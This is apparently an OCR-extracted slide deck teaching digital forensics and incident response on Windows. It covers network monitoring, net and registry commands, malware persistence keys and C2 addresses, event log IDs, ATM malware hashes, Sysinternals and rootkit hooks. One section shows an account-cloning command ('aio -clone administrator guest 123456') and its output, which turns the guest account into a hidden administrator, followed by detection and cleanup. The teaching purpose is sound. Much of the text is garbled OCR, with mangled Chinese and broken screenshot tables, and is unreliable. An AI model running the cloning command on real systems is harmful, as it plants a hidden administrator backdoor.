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b CISSP (Certified Information Systems Security Professional )
» CEH (Certified Ethical Hacker) /CEI (Instructor)

» CHFI(Computer Hacking Forensic Investigation)
b Cert/CC Advanced Incident Handling - f#
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b W #% ¥ (Collect)
b S~ 178 45 (Identify and Analyze)
b %I (Preserve)



Document
The Scene+

v L

AR

/

Collect
Volatiles?+

Power Offw

Mo

“What Was
The Point?«

Image

Drives?e

.

Yes+

IMake

Images+

Yes-

REecord
Weolatiles+

Investigate

online, run

“last™, etc.+

Back @ lab, Analyze
Copies, Reconstruct
Computers, Analyze

“artifacts™«




Identification:

Identify the system
to be investigated

b - Data Acquistion/Preservation:
resentation: Taking images of the drives /partition

Reporting of evidences belonged to the identified system
found during analysis
phase

Forensic Analysis: Data Recovery:

Analyze digital artifacts Recover deleted data

inside the data for from the image files.
evidences




b http://ir.lib.ksu.edu.tw/bitstream/987654321/
3486/1/%E6%95%B8%E4%BD%8D%E9%9
1%91%E8%AD%98%E6%A8%99%E6%BA
%96%E4%BD%9CY%EG6%A5%ADY%E7%AS8
%8BY%ES5%BA%8F%E4%B9%8B%ES%AF
%A6%ES5%8B%99%E5%8F%8A%EG6%96%
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® SNORT(IDS)

® KISMET(& %)

® WireShark(tcpdump)

T
N

i (Untitled) - Wireshark
Eile Edit View Go Capture Analyze Statistics Help

B e PEdx B GaA4p9 7 ||EE QQQFF WM
EE\\ter v |4 Expression... | vglearl %4 Apply ‘
|Time | Source | Destination |’r0toco\ | Info |E
504 152.15829! 192.168.12.21 66.187.224,210 DNS Standard query A www.redhat.com ‘
505 152.24044 66.187.224.210 192.168.12.21 DNS Standard query response A 209.132.177.50 ‘
506 152.25091 192.168.12.21 200.132.177.50 TICP 48890 > http [SYN] Seq=0 Len=0 MS5=1460 TS5V=1535

507 152.31125! 209.132.177.50 192.168.12.21 TCP http > 48890 [SYN, ACK] Seg=0 A

508 152.311321 192.168.12.21 209.132.177.50 TCP 48890 > http [ACK] Seq=1 Ack=1 Win=5840 Len=0 TS
509 152.31154 192.168.12.21 209.132.177.50 HTIP GET / HITP/1.1 Z
510 152.38737 209.132.177.50 192.168.12.21 TCP http > 48800 [ACK] Seg=1 Ack=408 Win=6864 Len=0 '
511 152.405161 209.132.177.50 102.168.12.21 TCP [TCP segment of a reassembled PDU] |
512 152.40520! 192.168.12.21 209.132.177.50 TCP 48890 > http [ACK] Seq=498 Ack=1369 Win=8576 Len
513 152.41351) 209.132.177.50 192.168.12.21 e [TCP segment of a reassembled PDU] |
514 152.41356: 192.168.12.21 209.132.177.50 LR 48890 > http [ACK] Seq=498 Ack=2737 Win=11312 Le
515 152.45058: 192.168.12.21 209.132.177.50 (ECE 48891 > http [SYN] Seg=0 Len=0 MSS=1460 TSV=1535
516 152.47685! 209.132.177.50 192.168.12.21 (ECP, [TCP segment of a reassembled PDU]

L 517 152.47690. 192.168.12.21 209.132.177.50 TCP_ 48890 > httn [ACK] Sea=408 Ack=4105 Win=14048 Te I:
b Frame 507 (?4 bytes on wire, 74 hytes captul'ed)
[ Ethernet II, Src: Amit_0O4:ae:54 (00:50:18:04:ae:54), Dst: Intel e3:01:f5 (00:0c:fl:e3:01:f5)
I Internet Protocol, Src: 209.132.177.50 (209.132.177.50), Dst: 192.168.12.21 (192.168.12.21)
~ Transmission Control Protocol, Src Port: http (80), Dst Port: 48820 (48890), Seq: 0, Ack: 1, Len: 0
Source port: http (80)
Destination port: 48890 (48890)
Sequence number: 0 (relative seguence number)
Acknowledgement number: 1 (relative ack number)
Header length: 40 bytes
> Flags: Ox12 (SYN, ACK)
Window size: 5792
Checksum: 0x99db [correct]
> Options: (20 bytes)
> [SEQ/ACK analysis]

0000 00 Oc £l e3 01 £5 00 50 18 04 ae 54 08 00 45 00
0010 00 3c 00 00 40 00 35 06 f6 47 dl 84 bl 32 c0 a8
0020 Oc 15 MY be fa b5 36 ce 18 e0 bb b5 58 a0 12
0030 16 a0 99 db 00 00 02 04 05 64 04 02 08 0a 10 1d
0040 ee de 5b 81 15 29 01 03 03 02

Source Port (tcp.srcport), 2, P: 1096 D: 1096 M: 0 Drops: 0




e A4

e #B W B R A Te
3t g4 liq(ﬁys’kﬂ"\’f} 3 B P 4F)
Ir fA L #(L?ﬁlufé ' it 39 3zdkApplication)
> IPS
r WAF
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@® Network Discover

boREIE 2 FEY 0 A ERY RRAAATEER



B RREgSLE

® i+ ¢ 4 37 (Sniffer)

¥ NetWithess

P NIKSUN NetDetector

b Sandstorm Netintercept
@ E AT

» ntop

P MRTG/PRTG -~ Caciti

b
Ir
b

DS/IPS
~low based monitor

Database Auditing



Sniffer4 47 p %

®@HTTP Attack

® SSL Attack

® FTP from Intranet

® SMTP from Intranet

® SOL Query

@ Non-http traffic on 80/443 port




@ ipconfig
® & 538 HURk A
b netstat -nba
» Tcpview / TCPLogView
p Currports
b fport
® e B T ARE B
P net share < -2 net session € -> openfiles
b net use



R Zdg £ NetRIE

@® net localgroup

@ net group(i & -4 2k)
@® net share

@ net start

® net session

® net use

® net view

® net user
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® Snapshop ¥ # iz % VM
@iz h T AR e R R A
P setop.exe

F appmgmt.exe
¥ biapple.exe

®iEL P 1
b AT NG F IR EE
AR TRY E R
PR L X



setop.exe

® % :
b C:\WINNT\svchost.exe
® {555 B

¢ HKLM\SOFTWARE\Microsoft\Windows\Curr
entVersion\Run\System

Al = A
b 7Bt 1140.136.71.81:52(140.136.25.2:52)
P WhoisF 3t @ #f iz~ &



appmgmt.exe

O ERFED
» DNS % 33 stockfound.com
b if 1216.57.210.200:80
P whoisFrit @ 2 B(R A= @ g)



biapple.exe

®th%
b C:\WINNT\svchost.exe
P C:\WINNT\system32\msextapi.dll
b C:\WINNT\system32\msrascfg.ini
® 157 E
b HKLM\SOFTWARE\Microsoft\Windows\Curr
entVersion\Run\GameServer

» Browser Help Objects
L JEL ) S
¥ DNS % :4rabbi.bi-apple.net
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www.hacker.net AD Server

127.0.0.1

B 81 "
>
www.hacker.net
Hacker DNS
Server




o ia B X5(5)

e dp —
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211.1.2.3 www.hacker.net

#r X AD Server
B 82 BEPS 511123 |

)




K a3V A5 %‘ 7] (ég)

www.hacker.net

211.1.2.3 211.1.2.3

B4 189 B 18

g

|

Remote Control

Intranet

Hacker DNS
Server

Y 211.1.2.3:80

Remote Control ONS
Server
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® cmd
b dir /a/s/b
b regedit/regedt32.exe
P reg/regdmp.exe
b sc.exe query bufsize= 10000
¥ netsh diag show all /v (old)
P netsh dump
b route print
b gpresult
b set



R Zdg £ NetRIE

@® net localgroup

@ net group(iE & -4 2k)
® net share

@ net start

® net session

® net use

@ net view

® net user
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@ i AL # —“‘F{Bﬂ’t;??" ;\
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g R KT

®ipki1 B
F net user

PsGetSid

user2sid

sid2user

alo

Cca

HideAdmin

b . . . .



» LADZEE T > hostname$p| F_% i #hT "G
P HREL > B O~ BFEH T E > 2 NETWORK
SERVICE

PREF G SRR E LA S EH
Windows: = T 2_7 "tk 5o

P 7 * netuser —g 7 3

® E’IIﬁL”ﬁ e # —ﬁ%&“%(i Fx Tk 5)
b X %rrl% 5L 2= R 5L (administrator, guest) o
D7p F



alo.exe

® aio -clone administrator guest 123456

C:~ERSS5ample>aio —clone administrator guest 123456
All In One<AIO> U1.8 Build B6-18-2886 By YWinEggDropCuwwwe.phdntlm.orgd

Getting The UserMame("administrator")—>I1D{AxABAAA1F4> Successfully
Getting The UserHame{'guest')—>IDC{BxBAEAA1LFS>» Successfully

Set F Ualue Successfully

The Account guest Has Been Cloned To administrator

The User{guezt>» Password Has Been Changed

C:~ERSSample *aio —checkclone
A1l In OneCAIO>» U1.@ Build B6-18-2086 By WinEggDrop<www.phdntBm.org

[Administratorl<==>[Guest]

C:~ERSSample >

® * guest/ 123456% » - = z administrator



alo.exe

c Eﬁ.)‘l =2 AF

=] g
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o RETE Bicuest R E TSR/ e
...@ Epefaian F1sR_I5... Internet HEMRE BATEE Intermet Iy
o W TEEE §IWAM_I... Brgh 1S iR EFEEREAEE
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K 2089119 T @2:06
....... |:| i i) = SR a1l

------- @ REHTE i
...... = Liﬁﬁiiﬁ&% T I §= :NG::zts

BT @ il e =N + |||
JIQ B




s AR S G 4502

® aio —checkclone
® cca \\1 # administator 2 #5

C:~ERSSample>cca ~~127.8.8.1 administrator helloworld

Check Clone Account,. by netHeyes 2082-84-29
ritten by netdeves 2882, dansnowlfZ2icn.com

Connect 127.8.8.1 ....0K
Prepairing ....0K

Processing ....0K

Checking ....

Check Result:

[Guest] AS SAHME AS [Administrator]

Clean Up ....0K

C:~ERSSample’_

® GuestDelete Guest# “,f < B




FUIAPEEE B S — i EH B

®:F- g LE R
® cloneiz tk 5.
MH'J% 2k 5E.SAM E cFV(7 & * net delete)

C:~ERSSample*aio —checkclone
All In One<AlI0> U1.68 Build 86-10.-2006 By WinEggDropCumr.phdntBm.orgl

Mo Clone Is Found h

C:~ERSSample >
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® Reged32.exe:z & '
WHKEY_LOCAL_MACHINE\SAM\SAM

o BRREEN o ]

ERE REE BHE REREL HEAH

= FRIER HH E=ED |
w1 HEEY_CLASSES_ROOT [ab] FEERE) REG 87 (EHE A

w-(_] HKEY_CURRENT_USER
=] HEEY_LOCAL_MACHINE
#-] HARDWARE

-0 3aM
(3 SECUR],
w0 soFTW AUl >

-0 SYSTE  BHE..
-] HEEY_USE

R T
&[] HEEY_CUF
o - EHER )

EEHED

EFRERE)...
e mE £ C)

HEAEIGHKETY _LOCAL_MACHINESAMEAM




A PEEL A 3502 2 ()

® Regedit

\HKEY_ LOCAL_MACHINE\SAM\SAM\Domal

ns\Account\Users

-

F R ek ERadministrators— &

¢ BRREEA

=2 2 #eElE

BFERE REE WRE HEHREW AN

-

£

I =[5

-] HKEY _CLASSES_ROOT
-] HKEY_CURRENT_USER
=1 HKEY_LOCAL_MACHINE
-7 HARDWARE
2] SAM
B0 84M
EI{:I Domadng
EI{:I Beconnt
B0 Aliages
{:I Groups
E|{:| Usrs

{271 OO0O03EE
{:I Names
-] Builtin
(] REACT
{1 SECURITY

rone [

S T e

4

JasE

IE=ET

|

ik

FETEHKEY_LOCAL MACHINEWAMSAM\Domainsd ccountilserst000001F5

REG_RZ
REG_BINARY
REG_BINARY

(BEFERE)

020001 00000000 000000000
00000000 b0 0000000200010

sz
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\\HKEY LOCAL MACHINE\SAM\SAM
\HKEY_ LOCAL_MACHINE\SAM\SAM\Domai
ns\Account\Users
@R BB fEAE o T AL S
@Y 7 5
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b useradd.bat
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Event Log

® Evi(Windows XP/2003) ~ Evtx(Windows
712008

¥ Application
P Security
P System

O ER % LR =T
® iy >R



EventLog # L% & P &

® 1 R e (Security Event ID 520) 421
J"

®:% 8 C$, D%, ES..cnn% £ (Security Event
ID 5140)

® A28 74P Bdo® E i SR AR &
Pz (System Event ID 7045)

® %z ~ ix:3RDP4 pr(System Event ID
10006)

Oy TP EHARH Ak



xampleso A0

A network share object was accessed.
Subject:
Security ID: ACME-FR\Administrator
Account Name: Administrator

Aocount Domain: ACME-FR
Logon ID: 0Ox74a739

HNetwork Information:

Source fddress: 10.42.42.221
Source Port: 65097

Share Name: \\*\Dharma Initiative Protocols

@ Event ID 5140

IR

#8 C$ DS ES.cnx i B 4

)\21_1‘3‘32# prendTy B O~ A

‘:UQ\



@7 NEBE ~ Lo chRkiRfoiR * hREL
» Application event ID : 4001

HrAEE S R EET
®iphE 2
P Application event ID :9003

L

AL

f

A ﬁ‘/ﬁ-” A

DWM(Desktop Window Manager)gc#- 4 pr » & 4 3

¥ Application event ID :9009
DWM. #
b System event ID:7001

S

i dr o A E R A

L8

mh

73
R

L8

mh
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® v 1g T30 = VM

® %= »~ Event Log
Otr g FPE



B A

- S -3 e R -
b HijackThis-% 7w ¥ L & L 4E » 08 3k T
b autoruns — AE T § SR A B fads g 5.
P msconfig — %87 B 3% T
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~ BATM:f 47 %

g KA | FEERE Hr#IzhEE

cnginfo.exe | 52KB | MD5 : BB ATM (REFEK » BS - BEEH
CO105ADA8686DC537 | EMEF » wr d) LLEIER S B 4088
A64919C73A18DB7 | BEZE » ARSI ERTIEE -
SHA1 :
04DAA15196BEE6936
90F530D32D4ACESFB
14FO3F

cngdisp.exe | 58KB | MD5 : HBE ATM 832, ¢
658B0502B53F718BD | A% A Z2Ef :
0611A638DFD5969 (1);£18M-4 7 ETEAE(slot)
SHAL : (2)HE8PaR %
D8879121597693AAS | #hiTHREN T H $STE AL HEEHTT 45 R AT
AEDASFSCF3247D6E9 | $%4E displog.txt b » SFE Syl i
BC4426 IHRE ©

cleanup.bat | 1KB E—(H batch #& » ALK LR 2 TF

2

sdelete.exe | 148KB | MD5 fERTER - BANKEMBRES -
md5,C74673589D5DD
38B6443DA6054B8DD
7A
SHA1 :
ABA48396A0A91AF3A6
D2DD3C71AE635F8D6
94E420
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- AHF SN

® it pHa1l
b Syslinternals (Microsoft)

— Process Explorer
— Process Monitor
— Pstools Suite

¥ NirSoft Tools
» IceSword
» Wsyscheck

» HookExplorer ~ Archon AntiAPIHook ~ Ring3
APIHookScanner

b tasklist /M ~ listdlls — & ARdllF* > s 2
» WhatsHappening — %77 {7 ¢ {7 4%



Process Explorer

@A (7 ALK

&5 Process Explorer - Sysinternals: www.sysinternals.com [XP-VM1]

EEX

File ©Options View Process Find Users Help
e =rEy x4 I -
Process FID  CPU  Description Compaty Mame
= | System |dle Process 0 9652
“lnterupts n'a Hardware Intermupts
TIDPCs nda Deferred Procedure Callz
= ] Supstem 4
= ] sz eve 360 Windows MT Seszion Mana... Microzoft Corpaoration
[ carss.exe B28 Client Server Runtime Process  Microsoft Corporation
= _ﬂ_.| winlogon, exe B52 Wwindows MT Logon Applica... Microzoft Corporation
= E ZEMVICESD. EHE £96 Services and Controller app Microsoft Corparation
E gyvchost exe 863

Generic Host Process fu:ur WL

Generic Hogt Proc

ticrozaft Corparation
icrazoft Carporation

= [ svchost exe 1082

[P wscrtfp.exe | 1216

& wuauch exe | 452

[l svehost exe 1148

[ svchost exe 1260

[ spoclsv. exe 1432
"v"MwareS ervic... | 1976

[ algexe 832
Fllsazs.exe 708

j explorer. exe 1632
"v"M wareT ray. exe 192
[Pt warellser exe 228
cHrnon, exe 292
& procexp.exe 488

Generic Host Process for 'Wi...

Wwindows Security Center M.
Automatic Updates

Generic Host Process for 'Wi...
Generic Host Process for 'Wi...

Spooler SubSystem App
Widware Toals Service
Application Layer Gateway ..
LS4 Shell [Export Yersion]
YWindows E=plorer
Whdwaare T ray

Widwarellzer

CTF Loader

1.54 Swzinternals Process Explorer

1.54

ticrozaft Corparation
Mizrozoft Corporation
ticrozaft Corparation
ticrozaft Corparation
Mizrozoft Corporation
ticrozaft Corparation
Widware, Inc.
ticrozaft Corparation
Microzoft Corporation
ticrozaft Corparation
Whdware, Inc.
Widware, Ine.
ticrozaft Corparation
Syzinternals

_inSnapere |

CPU Usage; 3.08% | Commit Charge: 13.27%

Processes: 24




Process Monitor

‘.
A

24

A\)

N —
\ ]

LA BT

= Process Monitor - Sysinternals: www.sysinternals.com

=1
b Filemon — & 44 %
P RegMon — # 4

E

—
7>

9

Ay
B

File Edit Event Fiter Tools Options Help

Hz | aE | 48 | A8 | [&B[Y

Seq.. Time of Day = Process Name PID | Operation Path Result Dietail Lo
10 5:02:15.3550438 PM ~lsvchost.exe 1052 Thread Create SUCCESS Thread 1D: 888 3
11 5:02:15.4066134 PM P2P Networkin... 364 RegQuenyValus HKCUSoftware \Microsoft \Windows C... NAME NOT FOUND Length: 144
12 5:02:15.4133104 PM P2P Masforkin... 364 QueryStandardinfo...C:\Documents and Settings'.Administrat... SUCCESS AllocationSize: 49,...
13 5:02:15.4148544 PM SP2P NetwlP2P Networking WAdministrat... SUCCESS AllocationSize: 43....
14 5:02:15.4193393 FM SHP2P NetwJoltid Lid. %P Networki... MAME NOT FOUND Desired Access: R...
15 5:02:154243126 PM “tricider_bidC:\WINDOWS system32\P2P Networking\P2P Networking.exe [Trickler SUCCESS Desired Access: R
16 5:02:15.4245520 PM “ltrickler bic_dop... 344 RegQuenyValus HEKLMA\SOFTWARE\Gator.com'Trickler... NAME NOT FOUND Length: 144
17 5:02:15.4257439 PM :Itnckler_b\c_dop... 344 RegClosekey HKLMASOFTWARE\Gator.com*Trickder SUCCESS
18 5:.02:15.4260650 PM :Ilrickler_b\c_dup... 344 RegOpenkey HELM"software"Gator Test" Trickler MAME NOT FOUMND Desired Access: R..
19 5:02:15.4261991 PM “lirickler_bic_dop... 344 RegOpenKey HKLM"software"Gator Test \Trickler NAME NOT FOUND Desired Access: R...
41 5:02:15 4645730 PM 1 YourScreen exe 612 CreateFile C:\Documents and Settings'Administrat... SUCCESS Desired Access: RL..
42 5:02:15.4653368 PM ¥ YourScreen exe 612 QueryDirectory C:\Documents and Settings'Administrat... NO SUCH FILE Filter: YourScreen flg
43 5:02:15 4659366 PM 18 YourScreen axs 612 ClogeFile C:\Documents and Settings‘Administrat... SUCCESS
64 5:02:15 4939550 PM 1 YourScreen exe 612 CreateFile C:\Documents and Settings'\ Administrat... SUCCESS Desired Access: R
65 5:02:15.4942159 PM W& YourScreen.exe 612 QueryDirectory C:\Documents and Settings ' Administrat... NO SUCH FILE Filter: YourScreen....
66 5:02:154944729 PM 1 YourScreen exe 612 CloseFile C:\Documents and Settings“\Administrat... SUCCESS
68 5:02:15.5740844 FM SP2F Networkin... 364 RegQuenyValue HKCUMSoftware\Microsoft\Windows'C... NAME NOT FOUND Length: 144
&9 5:02:15.5754326 FM P2P Networkin... 364 QueryStandandinfo...C:\Documents and Settings.Administrat... SUCCESS AlocationSize: 49,...
70 5:02:155762070 PM P2P MNetworkin 364 QueryStandardinfo... C:\Documents and Settings' Administrat... SUCCESS AllocationSize: 49,
71 5:02:155780134 PM SJIP2P Networkin... 364 CreateFile CHNWINDOWS \system324P2P Networki... NAME NOT FOUND Desired Access: R...
74 5:02:155943387 PM 1 YourScreen axe 612 CreateFile C:\Documents and Settings\.Administrat... SUCCESS Desired Access: RL..
75 5:02:155945579 PM & YourScreen exe 612 QueryDirectory C:\Documents and Settings' Administrat... NO SUCH FILE Filter: YourScreenE.
78 5:02:156166164 PM 1} Explorer EXE 2004 GueryOpen C:\Documents and Settings*Administrat... SUCCESS Creation Time: 4/4/...
79 5:02:15.6189854 PM j Explorer. EXE 2004 CreateFile C:\Documents and Settings®Administrat... SUCCESS Desired Access: E...
81 :02:15.6203682 PM % Explorer. EXE 2004 QueryStandardinfo... C:\Documents and Settings‘\Administrat... SLUCCESS AllocationSize: 2.2...
85 5:02:156218343 PM 5 Explorer EXE 2004 CloseFils C:\Documents and Settings'\Administrat... SUCCESS
87 5:02:15.6267308 PM ~Jlsass exe 484 RegOpenkey HKLMYSECURITY\Palicy SUCCESS Desired Access: R
88 5:02:15.6269582 PM "llsass exe 484 RegOpenkey HKLMA\SECURITY\Policy"SecDesc SUCCESS Desired Access: R..
89 5:02:156271141 PM ~Jlsass.axe 434 RegQuenyValus HKLMASECURITY\Palicy"SecDesc{D... BUFFER OVERFL... Length: 12
90 5:02:15.6272814 FM "Jlsass.exe 484 RegCloseKey HKLM\SECURITY"Policy".SecDesc SUCCESS
91 5:02:15.6273792 FM ~llsass exs 484 RegOpenkey HKLMA\SECURITY\Policy"SecDesc SUCCESS Desired Access: R...
§3 R-N2-15 £ITRITI PM ™loace sya 424 BeaCen\alie HK| MYSEC|IRITYY Palicyy SerNeecdN) LICCE Tune- BE(G MONE x.

Showing 1,804 of 4,265 events (42%)




Sysinternals

®
» PSTools Suite
p Autoruns
P ProcessExplorer

¥ Process Monitor (FileMon+RegMon)
» TCPView



Pstools 1 B &

® PsExec — gz 34 7 425

® PsFile — & 7 AR 3 B Ao engh &

® PsGetSid — B 2 g2 i@ * - 73SID
® PsKill — # “,f% o T AR

® Psinfo — #& 4R & SL 3 3

® PsList — & AL 47 5" (7 4%

® PsLoggedOn — &AL A 8 E iz =l & » ﬁ
® PsloglList — M &° & & 4R E 2¢

® PsPasswd — 2 stk 8 7E

® PsService — & AL 2 124 PRF%

® PsShutdown — B B 31 %

® PsSuspend — #i% {7 4%



lceSword 1.22

@ IcwSword [z #& 5% 18 Exdc ¢ lcwsword -C

=101 x|
- mE WD SM% S1ER e
F L M Mo [7)
Thi | Icesword
Q@ .
za Copyright EXEE x| &>
| leo |V TEBTUAES Deltng MERE
IR B LB
g [ e IR T
Bl [~ =R Cooperator)
@ [ EERBSHSER A (k) N
REh
-
B
I =l
B http://pjf.blogcn.com
HE




lceSword 1.22

® - Explorer.exets &

Base

| Module FileMarme

OxFS0000

Cx 1000000
Ox1140000
0x1400000
Ox2a00000
Ox3330000
Ox32C0000
Ox32F0000
0x23930000
Cx39E0000
Cx46D0000
40000
Cxd4D90000
Ox3090000
Dx=4A0000
OxS660000
CDxsDa0000
OxE140000
0x100040,..

C:\Programn FileshCornrmon Filesh Adobet acrobat

CVWINDIOWSY explorer, exe

C:\Program FilestCornmon Files'adobe’ scrobat?
CVWINDOMWSY system 32 xpsp2res, di
C:\Program FilesiIDM Cornputer Solutions U aE
C:A\Program FilesiMerolMero2iMero BackItUplME
C:\Program Filesi winRAR\RarExt, dl
CVWINDOWSY system 32 xpsp Lres, di
C:\Program Files\Cornmon Files'Adobe’ Scrobat?
C:\Program Files) Aviral Lntivie Desktoplshlesxt,dl
C:\Program Filesh Carnmon Filestteroh Sharedi ML
C:\Program Files AdobelAcrobat 9.0%Acrobat El
C:\Program Filesi AdobelAcrobat 9.0%Acrobat El
CVWINDOWSY sy term 32 audiodey, d
C:\Program Files\Cornmnon Filestter ol LiberoDi
C:\Program FilesiMerolMero2iMero CoverDesign
C:\Program FilesiCornmon Files!adobe’ scrobat?
C:\Program Filest Cornmon Filesttero! Sharedi ML

|

el A

HER

Eli,

BB N

C:\Program FilesiUnlocker Unlocken2OR, dl E*El &Ef 161




lceSword 1.22

® iz 4 K % 4 (Keylogger)

Blimo34D51AC =10l x|
wE IEED A AER HA
— X 57 e [3)
e e B 101 k]
@ RIS | istsmaERy | Meomer | REERERRE -
¢ D00050054, WH_MOUISE 0x000104cd  CAWINDOWShsrstemn 324 Hrmon exe
rosifea ¢ D000600a3 WH_SHELL 000011206 CAWINDOWShsrsten 32 Hrmon exe
- ¢ D000200hd, WH_KEVBOARD 0x000107:3  CAWINDOWShsrsten 324 Hrmon exe
a ¢ D000200ed WH_GETMESSAGE 000011351 CAWINDOWShsystern 2 thmomn. exe |
L ¢ D00020047 WH_MOUISE O0x000104ed  C:AProgram Files\dvivahlntiVir Deskiophay gnt exe
iR ¢ 00001004, WH_CET 0x00010e2e  CAWINDOWShsrsten 32 Hrmon exe
¢ D001 00ef WH_EKEVBOARD 000010722 C\Program Filessddobedderobat 8 0 crobatiacotray exe
Q ¢ D000100£1 WH_MOUEE 0w00104cd  CAProgram Filessddobedderobat 9 0 crobatiacrotray exe
ﬁ*@fiﬂ ¢ D001 00£3 WH_KEVBOARD 0=000107c3  CAWINDOWS\explorer exe
¢ D001 00£5 WH_MOUISE 0x000104cd  CAWINDOWS\explorer exe
¢ D00010109 WH_KEVBOARD 0=000107c3  CAWINDOWS\explorer exe
@ ¢ D0001010h WH_MOUISE 0x000104cd  CAWINDOWS\explorer exe
E&h ‘000030110 WH_MEGFILTER 0x78aTebiD CAProgram FilesuhviralntiVir Desktophay gnt exe
- 000010114 WH_EEYBOARD 0x000107cs  CAWINDOWSexplorer.exe
1= 000010121 WH_MOUIRSE 0x000104cd  CAWINDOWSexplorer.exe
. ¢ 000050129 WH_EEYBOARD 0A000107c3  CAProgram FilesubwirahntiVir Deslobopsay gnt exe
B ‘0:0002012k  WH_CBT 0x78a3efbb  C:\Program Filesubvis\AntVir Deskinphay gnt exe
000010130 WH_EEYBOARD 0x000107cs  CAWINDOWSexplorer.exe
H ;' ‘0000201 3 WH_MEGFILTER OxPode?d40n  CAWINDOWSerstem 38 sres e
B 000010134, WH_MOUIRSE 0x000104cd  CAWINDOWSexplorer.exe
C 00010144 WH_CET (xT78a3e0bh CAProgram Filestb virahd nti'Vir Deskiophay gnt exe -
BE « _'*I_I
A




APl Hook

® - Az g wf el ko APlxa 10 Hook

® & ;L ~ smHook User32.dll :
HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Windows\Appinit_Dlls

Itoslaml.oxe
ERDT
DEEI’J“I b L
MtDeleteK ey E{ pushs adde WOl knanube sys
E . e
MiDeleteValueEey WiZiAlmanahe sys "ﬁ
; [ NiDeleteKey

.............................




SSDT

® System Services Descriptor Table
P RiNg0% > &% 7% & Sdiceni= gt

PTH Y #@éWindowsﬁﬂiﬁz T o pp 3 ARV F 1% g
«‘/ﬁii  ERAREF I R L o
® SSDT Hook

¥ A * ntoskrnl.exesy 7 gk 1T 0 AL % = 2 AR A
oo R FHlE R s BRI TS
ntoskrnl.exe

® INLINE SSDT HOOK

b2 EEH Y o Fe Sl Al > ApdEp 2 > el
e

® Rootkitiz] : NtDeleteFile Hook — [# #&



FSD

@ H %k suseds 427N (File System Driver)
b &) : File System Filter Driver : [» & ~ 4cf%
BoMFFABREE (o] [apien
® FSD Inline Hook | | usermode
P A BRI ELEEE e
2 5% g2 :

File systermn driver

storage device drivers 4—!*.' ‘

Logical
volume
(partition)

N




Wsyscheck

=10/ x|

gmEsTED IR
v MREETISEFIRTE (D) | REWE | BEEHE | BHBTE | DosTHHEE |

3 [EFROC.. |PRid | BREREIE [iotete [ Esrm -

FULERIEFAEREY O 144 2oBsL. . 4 BasternFootSvatern 3 hames exe 460K Microsm:

Ml SRR (B E SR 208 BASSC.. 1144 ACATTINDO WS eystem3 e arss exe 10728 Microso:

/ PRIt B 5 ) 240 BARAC 1144 YA AN DO W S eestern 32 indo gon exe 2544E | Microsm:
/LDESEWEES.ERE 1284 265D 1240 CAWIN DO W Shsvsternd eenvices e 040K Microso:

O e e 1296 BA45EF.. 1240 CAWINDOWSerstem ¥ sam exe 2880E | Microm:
O svehost exe 1500 BASTED.. 1284 CARIH DO WS srstern 3 2hevchost exe 440K | Microm:
O zvchost exe 1548 BA563.. 1284 CARTTE DO W enrstern 3 2hevchost exe S164E | Microsoe—
O zvchost exe 512 a04a477. 1284 CARATTE DO W enratern 3 2 host exe 20332K | Microsn:
O svchostexe Sen g04a450 1284 CARIIH DO W Eenrstern 3 ey host exe 387K Microm:
O spoolsy exe a0g OATC, . 1284 CARITH DO W enrstern 3 2 epooley e SS12KE | Micros:
O sched exe ae0 20433 1284 Ao gram Filedd virahb nti¥ ir Deskiopiached exe 404K Lovira Gy
O svchostexe a5a 20409, 1284 CAWINDOW Sestermn 3 dhevchost exe 3VAE | Micros:
Dlﬂavguard.e:{e 1044 A04a124 0 1384 CAProgram Filestdwira'l ntiVir Deskiophay goacd exe 13388E  Avira(h
DE ApplebobileDeviceder.. | 1056 A94A08. .. 1234 AP rogram FilesCommon Files\A ppletbdobile Device ITABK Apple Ir;
Dlﬁqu.e:{e 1600 A99E4Z.. 1284 AP rogram Filesavaljrethbinigs exe 2364K aun Mic
O svchost exe Sda a0031860 1284 CARIIH DO W enrstern 3 2evchost exe 620K Micmom: -
i | o
{EERETE = EE

| WangSea 20080223




Wsyscheck

HESED TAD
EHEEHE | BLHE | BT KRN | gRes | BHEEE | Do BHER |
—BRE | EEE | B 53 | EEe | BRieS | EBmBEER |

=10l x|

—Host #7i8 —FREAER

# Thiz iz a saomple HOE TS file vzed bor Microsoft TCEIP for Windows.
#

# Thiz file containg the mappings of [P addreses to host names:. Each

# entry should be kept on an individval line. The IP address should

# be placed in the first colummn followed by the comrespond ing: host name.
# The TP addyess and the host name should be separated b at least one _[:}.,
ﬁ space.

# Additiomally, comments (ach az these) may be tnzerted on individ val
# lines or following the machine name denoted by a %' swmbol.

#

# For example:

y o

ﬁ Copyright (2) 1993-1999 Microsaft Corp. -l | EEEE | Image File Execution Options

—WinSock iR — 2 2=t A E v

EEEE | B EE

[ &R

FvstemB oot S vetern 3 mewsock dll  Microsoft Corporation ot
ForstemE oot ®erstermn s Prsvpsp dll Microzoft Corporation And
SvetemBE oot et 2wt 4 11 Microsoft Corporation
CAProgram Files\Bonjontimd nsll 3P 411 Apple Ine.

CAProgram FileshW b wareh VW biware Wo. . Viware, Inc.

nltraedit bt
ultraedit ind

i

| Wangies 20080223

A




Wsyscheck

HESED TAM
ERFEE | GLNE | BEEE TR0 |gRed8 | BHEEE | Do HREE|

=10l x|

| iERRAE | faz=rFE | i EeRs | R | WRAE |
wEEE  |comgtpif*exe ¥ dll*ays [ EEE I RN
MEZRE  |JCAWINDOWS, _;,| [~ RS wmn
ot | =ik R | 128h | v ERSERS - [2000n12 -

| Wanglea 20080223 v




Wsyscheck

@iz HIEE F A>guE IR

/" styhitad =10 x|
BERED TAEM
EEFEE | HORE | BTN RERE |gRel | SHETE | Do REE |
—teE | EEheE ERT |Emeins | MRS | ERmEEE |
BELHE | 158 | ERE B | BEEE
P rpnetliag exe IeFluging Zoind il etwork Disgnosticspnetd .. | HEEY _LOCAL MACHINEMSOFTW...  Microsoft(
[ *_J] WEBSUP~1 DLL IePhigins CAWINDOW Savsterm 3 VWEBRTP~1 ...  HEEY CURRENT URER'Woftwars!...
[ *_J] WEBSUP~1 DLL lePhigins CAWINDOW Sarstemr 3 2VWEBRTP~1 ... HEEY_CURRENT_URER'oftwars!...
[ *_J] VRPRINT? OCH IePlugins CAWINDOWEDownloaded Program ...  HEEY _CUERENT_TRZER'Software)...  YideoSoft
[ *_J] VaFLEX? QOCE IePlugins CAWINDOWEDownloaded Program .. HEEY_CUURRENT_URER'Softwaret. . Videoloft —
,’_J] g dll IePhigins CAProgram FilesWioogleWioogleTool ..  HEEY_CURRENT_URER'Softears) . Google Ine
